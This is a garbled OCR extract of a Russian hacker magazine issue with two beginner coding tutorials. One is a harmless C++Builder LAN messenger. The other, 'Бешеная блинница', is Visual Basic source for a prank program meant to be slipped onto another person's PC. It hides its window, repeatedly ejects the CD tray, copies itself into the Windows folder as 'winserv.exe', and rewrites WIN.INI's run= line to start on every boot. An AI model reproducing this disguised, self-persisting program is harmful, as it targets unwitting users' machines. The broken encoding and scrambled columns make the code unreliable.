 
        
        книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 4_compressed
.pdf 
 
| 120 | 0078 | КОНСТРУКТОР | 
 | 
 | >СПЕЦВЫПУСК #4 | 
 | 
| 
 | ||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
ПИШЕМ СВОЙМ ЛОКАЛЫ НА C+
| Falcon625 (48600076@mail.ru) | 
 | |
| Привет, привет, привет! | Inspector’e выбирай закладку Events (Собы- | |
| Если у тебя дома есть локала, | тия) и делай двойной клик в поле OnClick, что | |
| означает | ||
| и ты чуть-чуть знаком | ||
| 
 | ||
| ñ C++Builder’ом, то я предложу | “На Нажатие”. Появился редактор кода, где | |
| ты видишь что-то вроде | ||
| тебе написать САМОМУ прогу | ||
| 
 | ||
| для отправки и приема | void __fastcall TForm1::Button1Click(TObject | |
| cообщений. Весит эта прога | *Sender) | |
| со всеми прибамбасами около | { | |
| } | ||
| 200 KB. А если убрать лишние | и курсор между фигурными скобками. Что это | |
| формы, которые я наворотил, | ||
| означает? Это означает, что ты только что | ||
| и некоторые разделы (типа | ||
| создал сценарий реакции на событие OnClick | ||
| рекламы, от автора и все | - только этот сценарий состоит пока из пусто- | |
| такое), то получится | го места :), так что туда надо вписать что-то | |
| вроде: | ||
| и того меньше! Ты, наверное, | ||
| 
 | ||
| думаешь, что только | NMMsg1->Host = Edit1->Text; // Эта строка | |
| суперкрутой программер | отвечает за привязку поля Edit1 к имени ком- | |
| пьютера, на который будет отослано сообще- | ||
| сможет написать | ||
| ние (имя компьютера твоего друга Васи). | ||
| такую прогу? Нет, | NMMsg1->FromName = Edit2->Text; // Ýòà | |
| такую прогу может | ||
| строка отвечает за привязку поля Edit2 к име- | ||
| написать. Каждый, | ни отправителя (твое имя, ник или что захо- | |
| кто умеет пользоваться | ÷åøü). | |
| 
 | ||
| клавиатурой и чуть-чуть | NMMsg1->PostIt(Edit3->Text); // Эта строка | |
| знаком с C++Builder’îì. | отвечает сразу за 2 действия: привязку и от- | |
| 
 | правку текста поля Edit3 к функции PostIt. | 
| Øàã 0: | мум, нужны будут следующие компоненты: | Memo1->Lines->Add(Edit3->Text); // Ýòà | |||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | одно окно Memo, одна кнопка и 3 поля Edit. А | строка отвечает за вывод отправленного | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | Запусти C++Builder и осмотрись вокруг. Ви- | также скрытые компоненты из раздела | сообщения в многострочное поле Memo1. | |
| 
 | 
 | 
 | 
 | 
 | 
 | дишь форму? Это будет окно нового мессаге- | FastNet NMMSGServ для получения сообще- | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | ра для локальной сети. | ний и NMMsg для отправки. | чтобы сообщения отсылались. Теперь пос- | |
| Øàã 1 | 
 | мотри на комментарии после каждой строки | 
 | ||||||
| 
 | 
 | ||||||||
| Ну что, разместил это все на форме? Если да, | (комментарии отмечены двойной косой чер- | 
 | |||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | то надо приступать к самому главному - напи- | òîé aka double slash). | |
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||
| 
 | 
 | 
 | 
 | 
 | 
 | Итак, у тебя, наверное, в голове закрутилась | санию кода. С чего начать? Начать нужно с | Все! Сообщения отсылаются на нужный адрес | |
| 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | куча мыслей: насколько он будет крутой :). Ну | отправки сообщений. Видишь кнопку Button1 | ||
| 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | так давай начинать делать дизайн! Как мини- | - вот и кликай на нее. Теперь в Object | (но они только отсылаются и не принимаются | |
 
| >СПЕЦВЫПУСК #4 | КОНСТРУКТОР | 0079 | 121 | ||
| ЕССАГЕР ДЛЯ | |||||
| +BUILDER. | 
 | 
 | |||
| на удаленной машине, т.к. принимающая час- | 
 | 
 | |||
| ть еще не написана). | 
 | 
 | 
 | 
 | |
| Øàã 2 | 
 | 
 | 
 | 
 | 
 | 
| Итак, пишем принимающую часть програм- | 
 | 
 | |||
| мы. Тут все будет просто. Жми на компонент | 
 | 
 | |||
| NMMSGServer1 и в Object Inspector’e выбирай | 
 | 
 | |||
| закладку Events, а там событие OnMSG. Опять | 
 | 
 | |||
| открылся редактор кода, и там появилось что- | 
 | 
 | |||
| то вроде этого: | 
 | 
 | 
 | 
 | 
 | 
| void __fastcall | 
 | 
 | 
 | 
 | 
 | 
| TForm1::NMMSGServ1MSG(TComponent | 
 | 
 | 
 | ||
| *Sender, | 
 | 
 | 
 | 
 | 
 | 
| const | AnsiString | sFrom, | const | 
 | 
 | 
| AnsiString sMsg) | 
 | 
 | 
 | 
 | 
 | 
| { | 
 | 
 | 
 | 
 | 
 | 
| } | 
 | 
 | 
 | 
 | 
 | 
| опять же с курсором между скобок. Туда надо | 
 | 
 | |||
| прописать единственную строку: | 
 | 
 | 
 | ||
| Memo1->Lines->Add(sFrom + “::” + sMsg); | 
 | 
 | |||
| и все, теперь все пришедшие сообщения бу- | 
 | 
 | |||
| дут добавляться в многострочное поле | 
 | 
 | |||
| Memo1 в виде “Имя отправителя::сообще- | 
 | 
 | |||
| íèå”. | 
 | 
 | 
 | 
 | 
 | 
| Øàã 3 | 
 | 
 | 
 | 
 | 
 | 
| Все, самый простейший мессагер для локалы | 
 | 
 | |||
| готов! Не так уж и сложно? А как прифигеют | 
 | 
 | |||
| твои соседи по сети, когда ты им раздашь эту | 
 | 
 | |||
| прогу и каждую неделю будешь выпускать но- | 
 | 
 | |||
| вые версии :)! А ведь в нее можно встроить | 
 | 
 | |||
| еще что-нибудь (ты, наверное, уже догадался | 
 | 
 | |||
| :))! Да, чуть не забыл: если у твоих друганов | 
 | 
 | |||
| не стоит C++Builder, то тебе придется дать | 
 | 
 | |||
| им некоторые библиотеки для того, чтобы | 
 | 
 | |||
| прога работала. Надеюсь, ты на скатывании | 
 | 
 | |||
| кода не остановишься и будешь придумывать | 
 | 
 | |||
| свои супер-фишки! Если придумаешь что-ни- | 
 | 
 | |||
| будь суперкульное, то пиши мне на мыло :). | 
 | 
 | |||
| Æäó. | 
 | 
 | 
 | 
 | 
 | 
 
| 122 | 007A | КОНСТРУКТОР | 
 | 
 | >СПЕЦВЫПУСК #4 | 
| 
 | 
БЕШЕНАЯ БЛИ
Косякин Антон aka DEiL (antoshka@sp.ru)
| 
 | 
 | хотя VB4 есть и 16 битная версия тоже). Я лич- | 
| 
 | 
 | но юзаю версию 4-32bit. Если у тебя версия 5 | 
| 
 | 
 | или 6, то все описанные ниже мною действия | 
| 
 | 
 | должны осуществляться по аналогии, короче, | 
| 
 | 
 | сам разберешься - большой уже :). | 
| 
 | 
 | 2) Свободное время, т.к. без свободного време- | 
| 
 | 
 | ни ни одну прогу не напишешь, поверь. | 
| 
 | 
 | 3) Что-нибудь пожевать. Все что душе угодно, | 
| 
 | 
 | лишь бы рот был занят: когда прога не будет ра- | 
| 
 | 
 | ботать и в ее адрес полетят всякие слова и обо- | 
| 
 | 
 | роты, то из твоего набитого жратвой рта будет | 
| 
 | 
 | доноситься только жалкое мычание :). | 
| 
 | 
 | Ну, еще не помешает наличие черепной короб- | 
| 
 | 
 | ки, занятой серым веществом (кстати, в мозгах, | 
| 
 | 
 | помимо серого вещества (чувствительные ней- | 
| 
 | 
 | роны), есть еще и белое - промежуточные. Не | 
| 
 | 
 | веришь - распотроши соседа, только потом убе- | 
| 
 | 
 | ри рабочее место за собой :)). | 
| 
 | 
 | LeT’z Go... | 
| Обращение к народу :) | зато издевательски) и... играет с CD-ROM’ом... | Для начала подрули мышой к меню File и ткни на | 
| 
 | типа есть... нету... есть... нету... Тупо, скажешь | New Project. Готово? Так, теперь ткни на Tools - | 
| Дарова, начинающий кодер :)! Сегодня мы будет | ты. Знаю, тупо, но прикинь - играет юзверь | > Custom Controls. Отлично. Да ты способный, я | 
| учиться кодить на Васике. Эээйй! Куда пошел? А | ушастый в какой-нибудь гамес или юзает (юз- | смотрю :). Убери все галочки (если есть) и от- | 
| ну вернись обратно! Говоришь, Васик - саксь, и | верь по определению должен юзать - прямая | меть Micro$oft Multimedia Control. Далее дави на | 
| на нем ничего путного написать нельзя, да!? | обязанность, паимаишь :)) прогу, активно обра- | пимпу Ok, только посильнее дави, они нынче уп- | 
| Знаешь, что по этому поводу сказал мне мой | щающуюся к компакту... Ну, допустим, ему надо | ругие пошли :(. | 
| друг Sinner? “Не, так дело не пойдет... Между | срочно залить на хард большое файло с одног- | 
 | 
| прочим, знаешь ли ты, что вири Mellisa и I Love | лазого. 1%... 10%... 50%... 99%... и тут на него | 
 | 
| You написаны на VBasic’e? И все про них гово- | налетает подосланная тобой птица обломинго. | 
 | 
| рят, типа, вот парни крутые, такие вири наката- | Ты представляешь его рожу в этот момент? Са- | 
 | 
| ли, млин. Но проходит время, и Васик опять | мое кульное - к сидюку никак не подобраться, а | 
 | 
| дерьмо :(. Нееет, так не пойдет... “. | если юзер еще и нервный (ну естесно! после та- | 
 | 
| Лампочка Ильича | кого и не таким станешь :)), то ему в процессе | 
 | 
| крушения всех и вся будет не до залезания в | 
 | |
| 
 | “Завершение работы программы” и ее дальней- | 
 | 
| Слышал про прогу FloppyMadness? Нет!? Для | шего прибивания. Конечно, это тоже можно | 
 | 
| тех, кто в бронетранспортере - иди читать Х | обойти путем перенесения проги на Дэльфи и | 
 | 
| (рубрику ШарОварЫ). Когда я про эту програму- | вставки небольшого кода, но статья - не об этом | 
 | 
| лину прочитал, в моем мозгу зажглась лампа | (если уж так захотелось, загляни в Х про халяв- | 
 | 
| Ильича - вот ОНО, то, что нужно! И захотелось | ный Инет, рубрику - “Рождение Дьявола”, там | 
 | 
| мне чего-то такого же, только другого! :) ¨клмн, | все прозрачно :). | 
 | 
| подумал я, дык ведь я же кодить умею! Взял Ва- | InStRUMents | 
 | 
| сик и начал химичить... :) Долго химичил - этак | 
 | |
| примерно часик, полтора. Зато какая прога | 
 | 
 | 
| вышла - загляденье. Вроде небольшая програм- | Для написания этой рульной программулины те- | Сокращенно эта фишка (MS Multimedia Control) | 
| мулина, зато какие возможности и потенциал: | бе понадобятся: | называется MCI. Зачем она потребовалась? MCI | 
| каждые N секунд она показывает безобидное | 
 | - такая тема, которая позволяет делать CD- | 
| окошко с надписью “Это не вирус!!! Но не за- | 1) M$ VizualBasic. Какая версия? Ну... 32-х бит- | Player. Прикинь, пельмень, мы заодно и Блино- | 
| будь Анти-Вирус!!!” (конечно, звучит туповато, | ная (от 4-ой и выше, так как VB 3.0 - 16 битная, | плеер замутим :). Ладно, поехали дальше... Сам | 
 
| 
 | 
 | КОНСТРУКТОР | 
 | 
 | 
| 
 | >СПЕЦВЫПУСК #4 | 007B | 123 | |
| 
 | 
ННИЦА
себе Спилберг. Все приготовления сделаны, будем разбираться с формой... Далее идет среднее по сложности - поклацкать мышой в нужных местах, если ты еще не оправился от кнопенции Ок, то передохни часок-другой. Да, кстати, я надеюсь, ты не сломал крысу, когда сильно давил по пимпе “Все пинцетно”? Мдя... Ты что, не понял, это была ШУТКА, нужно было легонько кликнуть по левому батону серого существа (у кого, говорят, и белого), и вс¸ :). Доставай вторую - я продолжаю :). Значит так, у тебя в окошке со всякими пимпами (слева) добавилась еще одна - MMControl. Так вот, ты ее не трогай :). Для начала размести на форме (главном окне твоей проги, обычно оно называется “Form1”) такую лабуду, как Label и Timer.
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | Галимо, правда? Теперь опять клацкни мышой | По оформлению вроде все, можешь | вздохнуть | |
| 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | по Label’у и лезь в свойства. Ищи пункт Font, вы- | облегченно и сбегать за бутылочкой | квасу для | |
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | деляй его. Увидел справа такую пимпу с тремя | меня :). Эй, стоп! Самое главное | забыли!!! | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | точками? Смело дави ее (можно НА нее :)). Поя- | Когда окно появится, то будут светиться пим- | ||
| 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | вилось окно “Выбор шрифта” (если Вынь рус- | пы “свернуть” (зачем? пусть будут на виду!), | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | ский). Выбираем MS Sans Serif, полужирный | “развернуть” (пущай :)) и “закрыть” (закрыть!? | ||
| 
 | 
 | 
 | 
 | 
 | курсив, размер 18. Вроде стало лучше, но чего- | зачем!? нам и так весело! :)), так что их надо | 
 | |||
| 
 | 
 | 
 | ||||||||
| 
 | 
 | 
 | 
 | то все еще не хватает :(. И снова кликаем по за- | убрать. Подруливаем крысой к окну Свойства, | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | мученному Label’у и лезем в свойства... На этот | выбираем “Form1 Form”. Готово? Ладно, по- | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | раз выбираем ForeColor. Опять появляется пим- | дожду... Все? Ок. Ищем пункт MaxButton (РАЗ- | ||
| 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | па с тремя точками -> подруливаем и прицель- | вернуть) - ставим False. Теперь ищем | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | но клацкаем мышой, дабы не промахнуться :). | MinButton (сВЕРНУТЬ?) - опять False. Далее | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | Появилось окошко выбора цвета, следователь- | ставим ControlBox (заКРЫТЬ!?) на False и | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | но, надо выбирать цвет :). Я выбрал красный. | BorderStyle (тип границ окна) на 1 - FixedSingle | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | Так, готово. Теперь перетащи на форму | - чтоб не сперли :) - шутка - чтоб не изменили | 
 | |
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | MMControl. Один клик по этой фишке -> свой- | размер. Вот теперь по оформлению точно все | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | ства -> пункт Visible (видимый?) ставь False. За- | :). Если сильно распирает любопытство, то мо- | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | чем? А пусть не светится :). | жешь запустить. Для этого залезь в меню Run | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | -> Start. Если ленивый, то нажми на пимпу с | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | Ок, готово... Только одно НО. Ты не заметил, что | кнопкой “>” (8-я справа, под меню Add-Ins). | ||
| 
 | 
 | 
 | 
 | 
 | форма немного не совпадает с размерами | Ну а если ты дипломированный лентяй - прос- | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | Label’а, а надпись (“Дарова тебе!<...>”) распо- | то надави на пимпу F5 :). Только есть один | ||
| 
 | 
 | 
 | 
 | ложена не в одну строку? Да? Так чего же ты | трабл - помнишь, как мы поставили Visible на | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | ждешь? Давай, дерзай :). Сделал? Теперь лезь в | False в свойствах формы? Вот :). | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | свойства формы и ставь Visible на False, потом | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | Caption ->, ставь: “Бешеная блинница”. Форму | Кодинг во всей красе | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | мы спрятали для того, чтобы при запуске проги | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | лишний раз не светиться, дабы не выдать себя | Вот мы и доковыляли до самого интересного, | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | раньше часа Х :). Ок. Лезем в свойства таймера | до кодинга :). Все знают, что если кодер - нас- | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | (Timer Timer 1) и ставим Interval на 5000 (при- | тоящий кодер, то ему нравится кодить :). | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | мерно 5 сек). После всех манипуляций форма | Приступим... Для начала двойной клик по | ||
| 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | должна выглядеть примерно так: | Label’у. Появилось окошко Form1 и две ме- | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||||
Теперь кликни ОДИН раз по Label’у и залезь в окно Properties (свойства, справа). Найди пункт Caption (надпись) и поменяй значение на “Дарова тебе! Это не вирус, но не забудь Анти-Ви- рус!!!”. В итоге все должно выглядеть так:
 
| 124 | 007C | КОНСТРУКТОР | >СПЕЦВЫПУСК #4 | |||
| нюшки - Object: Label1, Proc: Click. Это нам | 
 | 
 | ||||
| не нужно. В первой менюшке выбираем | 
 | 
 | ||||
| Form1, во второй - Load. Появилась процеду- | 
 | 
 | ||||
| ра Form_Load(), которая будет вызываться | 
 | 
 | ||||
| при загрузке программы :). Для написания | 
 | 
 | ||||
| самого кода процы надо решить, что будет | 
 | 
 | ||||
| делать наша прога. Для начала представим, | 
 | 
 | ||||
| что нашО файлО называется BLIN.EXE. Ок? | 
 | 
 | ||||
| Если не нравится, то можешь изменить. Сама | 
 | 
 | ||||
| идея нашей программулины какая? Правиль- | 
 | 
 | ||||
| но, играть с подставкой для кофЭ. Что бы все | 
 | 
 | ||||
| ýòî | работало, | нужно | инициализировать | 
 | 
 | |
| MMControl1, ответственный за все. Добавь | 
 | 
 | ||||
| вот эти строчки: | 
 | 
 | 
 | 
 | 
 | |
| 
 | MMControl1.UpdateInterval = 0 ‘ èí- | 
 | 
 | |||
| тервал между проверками наличия одногла- | 
 | 
 | ||||
| çîãî %) | 
 | 
 | 
 | 
 | 
 | |
| 
 | MMControl1.DeviceType | = | 
 | 
 | ||
| “CDAudio” ‘ - а что вам нужно? - CDAudio! | 
 | 
 | ||||
| MMControl1.Command = “Open” | ‘ çà ðàáî- | 
 | 
 | |||
| òó! | 
 | 
 | 
 | 
 | 
 | 
 | 
| Ввел? Отлично. Теперь разберемся, что же | 
 | 
 | ||||
| ЭТО тако было :). Первой строкой мы устано- | 
 | 
 | ||||
| вили интервал между проверками наличия | 
 | 
 | ||||
| компакта, равный 0, что значит - без задер- | 
 | 
 | ||||
| жки, т.е. проверил, еще раз проверил, потом | 
 | 
 | ||||
| еще раз... и т.д. Второй строкой мы вежливо | 
 | 
 | ||||
| дали понять твоему железному другу, что яко- | 
 | 
 | ||||
| áû | собираемся | прослушивать музыкальные | 
 | 
 | ||
| компакты, что само по себе не так :). Хотя ты | 
 | 
 | ||||
| вполне можешь это реализовать :). Послед- | 
 | 
 | ||||
| ней строкой мы заставили комп начать рабо- | 
 | 
 | ||||
| ту с одноглазыми (работать!? нееее... :)). Те- | 
 | 
 | ||||
| перь осталось закодить еще одну процедуру, | 
 | 
 | ||||
| ответственную за показ окна и выдвигание | 
 | 
 | ||||
| подставочки. Лезь в Object: Timer1, Proc : | 
 | 
 | ||||
| Timer. Появилась проца Timer1_Timer(). Бу- | нету смысла и все тут... :) Ну а что же это за | рузит комп :(. Обидно... Надо это дело обхо- | ||||
| дем писать ее... Опять добавим три строчки: | заветная третья строка? О, этой строкой мы | дить. Есть такой файл в каталоге Выни, | ||||
| 
 | 
 | 
 | 
 | 
 | делаем самое главное - заставляем нервни- | WIN.INI называется, а в нем, в свою очередь, | 
| 
 | If Not Form1.Visible Then | 
 | чать юзверя ушастого или просто выдви- | есть строка - run=<имя_файла>. Так вот, ес- | ||
| Form1.Visible = True Else Form1.Visible = | гаем\задвигаем подставку для кофе. Все. Мо- | ли в эту строку поставить нашу прогу, то бу- | ||||
| False ‘ åñòü... íåòó... :) | 
 | 
 | жешь смело запускать и радоваться своему | дет кульно, очень кульно :). | ||
| 
 | 
 | 
 | 
 | 
 | творению. Только тут есть один баг - если в | 
 | 
| 
 | MMControl1.Command = “Open” | цэдероме нету блина, то подставка не выез- | Для начала нужно определить каталог Выни. | |||
| 
 | 
 | 
 | 
 | 
 | жает. Но это не сильно важно, смею тебя за- | Это, конечно, можно сделать ОЧЕНЬ просто | 
| 
 | MMControl1.Command = | “Eject” ‘ | верить. | (даже еще проще), но мы пойдем другим пу- | ||
| поиграем, гы-гы-гы. | 
 | 
 | Самое интересное... для продвину- | тем. В корневом каталоге диска С: есть руль- | ||
| 
 | 
 | 
 | 
 | 
 | ное файло - MSDOS.SYS называется, там то- | |
| Я думаю, первая строка тебе понятна. Для тех | òûõ :) | же есть строчка - WinDir=<путь_к_выни>, | ||||
| кто в танке: если окно показано, то убираем, | 
 | она-то нам и нужна. Пиши (в самом начале | ||||
| если не показано, то показываем. Дошло? Ну | Слышь, пельмень, ты не заметил, что чего-то | Form_Load): | ||||
| слава Богу :). Со второй строкой ты уже | в нашей прогенции не хватает? Вот смотри: | 
 | ||||
| встречался, так что объяснять нет смысла, ну | запустит юзверь прогу, разозлится и перезаг- | Open “c:\msdos.sys” For Input As #1 | ||||
 
| 
 | 
 | КОНСТРУКТОР | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | >СПЕЦВЫПУСК #4 | 007D | 125 | ||||||
| 
 | |||||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | ‘ откроем файл для чтения... | Open MustDieDir + “\blin.col” For | верку на “инфицированность” (эти | строчки | 
 | 
 | ||||||||
| 
 | 
 | 
 | 
 | |||||||||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | Input As #1 ‘ конструируем новый WIN.INI | вставляй после MustDieDir = Mid$(MustDieDir, | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||
| 
 | 
 | 
 | 
 | 
 | Input #1, MustDieDir ‘ строка | 
 | 8, Len(MustDieDir) - 7) ): | 
 | 
 | 
 | 
 | 
 | 
 | |||
| 
 | 
 | 
 | “WinDir=каталог_выни” | 
 | Open MustDieDir + “\win.ini” For | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | Output As #2 ‘ сначала вытрем старый, а за- | Open MustDieDir + | “\win.ini” For | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | Input #1, MustDieDir ‘ вторая по | ÷åì îí íàì? | Input As #1 ‘ получили каталог Выни | 
 | 
 | 
 | 
 | |||||
| счету | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | While Not EOF(1) ‘ ïîêà ôàéë íå | Input #1, Run ‘ ищем строку “run=” | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | Close #1 ‘ закроем :) | кончился, копируем построчно | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | Input #1, Run ‘ теперь уже третья по счету | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | MustDieDir = Mid$(MustDieDir, 8, | Input #1, Temp ‘ читаем | :) | 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||
| 
 | 
 | 
 | Len(MustDieDir) - 7) ‘ убираем “WinDir=”, т.е. | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | вытираем все буквы, начиная с первой и за- | If Mid$(Temp, 1, 4) = “run=” Then | Input #1, Run ‘ вот она, родненькая | 
 | 
 | |||||||||
| 
 | 
 | 
 | канчивая 7-й включительно. | Temp = “run=winserv.exe” ‘ прописываемся в | :) | 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | “run=” | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
| 
 | 
 | 
 | Теперь у нас в переменной MustDieDir хранит- | 
 | Close #1 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | ся название каталога | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||
| 
 | Âûíè. | 
 | Дальше нам | Знаю, тупо, но прикинь - иг- | If | Run | = | 
 | 
 | |||||||
| 
 | нужно | закопироваться | рает юзверь ушастый в какой- | “run=winserv.exe” | Then | 
 | 
 | |||||||||
| 
 | 
 | 
 | в этот каталог с каким- | GoTo Infected | 
 | ‘ à | 
 | 
 | ||||||||
| 
 | 
 | 
 | нибудь “умным” назва- | нибудь гамес или юзает (юз- | ìû òóòà óæå áûëè? | 
 | 
 | |||||||||
| íèåì | - winserv.exe, | верь по определению должен | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||||||
| 
 | 
 | 
 | например | (îé, ýòî óæå | юзать - прямая обязанность, | Теперь | добавь | метку | 
 | 
 | ||||||
| 
 | 
 | 
 | ÷òî-òî | вроде трояна | Infrcted: | 
 | 
 | перед | 
 | 
 | ||||||
| 
 | 
 | 
 | получается | 
 | :)). Äëÿ | паимаишь :)) прогу, активно об- | M M C o n t r o l 1 . U p d a - | 
 | 
 | |||||||
| 
 | 
 | 
 | этого в | VisalBasic’å åñ- | ращающуюся к компакту... Ну, | teInterval = 0 | 
 | 
 | 
 | 
 | ||||||
| 
 | 
 | 
 | ть проца | - FileCopy | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | <откуда | _è_÷òî>,<êó- | допустим, ему надо срочно за- | Все! Прога готова, ап- | 
 | 
 | ||||||||
| 
 | 
 | 
 | äà>. Ïèøè: | 
 | лить на хард большое файло с | лодисменты :). | 
 | 
 | 
 | 
 | ||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||
| 
 | 
 | 
 | 
 | 
 | F i l e C o p y | одноглазого. 1%... 10%... 50%... | ЭпилоГ | 
 | 
 | 
 | 
 | 
 | ||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||||||
| 
 | 
 | 
 | “blin.exe”, MustDieDir + | 99%... и тут на него налетает | 
 | 
 | 
 | 
 | 
 | 
 | 
 | |||||
| 
 | 
 | 
 | “\winserv.exe” ‘ допол- | подосланная тобой птица обло- | Вот видишь, | 
 | какая | 
 | 
 | |||||||
| 
 | 
 | 
 | íèì | Âûíü | нужной | минго. Ты представляешь его | рульная прога получи- | 
 | 
 | |||||||
| 
 | 
 | 
 | службой, убирающей | лась, а ты говорил - | 
 | 
 | ||||||||||
| 
 | 
 | 
 | áàãè :)). | 
 | 
 | рожу в этот момент? Самое | Васик | саксь, | Васик | 
 | 
 | |||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
 | кульное - к сидюку никак не | саксь... | Естественно, | 
 | 
 | |||||
| 
 | 
 | 
 | Осталось только обес- | эта прога не совершен- | 
 | 
 | ||||||||||
| 
 | 
 | 
 | печить | себе автозаг- | подобраться, а если юзер еще и | на - например, если у | 
 | 
 | ||||||||
| 
 | 
 | 
 | рузку. | Ýòî, | с одной | нервный (ну естесно! после та- | тебя стоит Windows | 
 | 
 | |||||||
| 
 | 
 | 
 | стороны, просто, а с | кого и не таким станешь :)), то | NT/2K, | òî | âåñü | êàéô | 
 | 
 | ||||||
| 
 | 
 | 
 | другой | - еще проще. | обломится | :(. Íî, êàê | 
 | 
 | ||||||||
| 
 | 
 | 
 | Для начала сделаем | ему в процессе крушения всех | говориться | â | народе: | 
 | 
 | |||||||
| 
 | 
 | 
 | копию | 
 | WIN.INI äëÿ | и вся будет не до залезания в | “НЕТ предела | совер- | 
 | 
 | ||||||
| 
 | 
 | 
 | дальнейшего исполь- | “Завершение работы программы” | шенству”. Так | ÷òî íå | 
 | 
 | ||||||||
| 
 | 
 | 
 | ||||||||||||||
| 
 | 
 | 
 | зования. Назовем это | боись кодить, это даже | 
 | 
 | ||||||||||
| 
 | 
 | 
 | файло, | 
 | 
 | например, | и ее дальнейшего прибивания. | интересно, а | иногда | 
 | 
 | |||||
| 
 | 
 | 
 | blin.col. После этого | 
 | 
 | 
 | затягивает | по самые | 
 | 
 | ||||||
| 
 | 
 | 
 | 
 | 
 | 
 | 
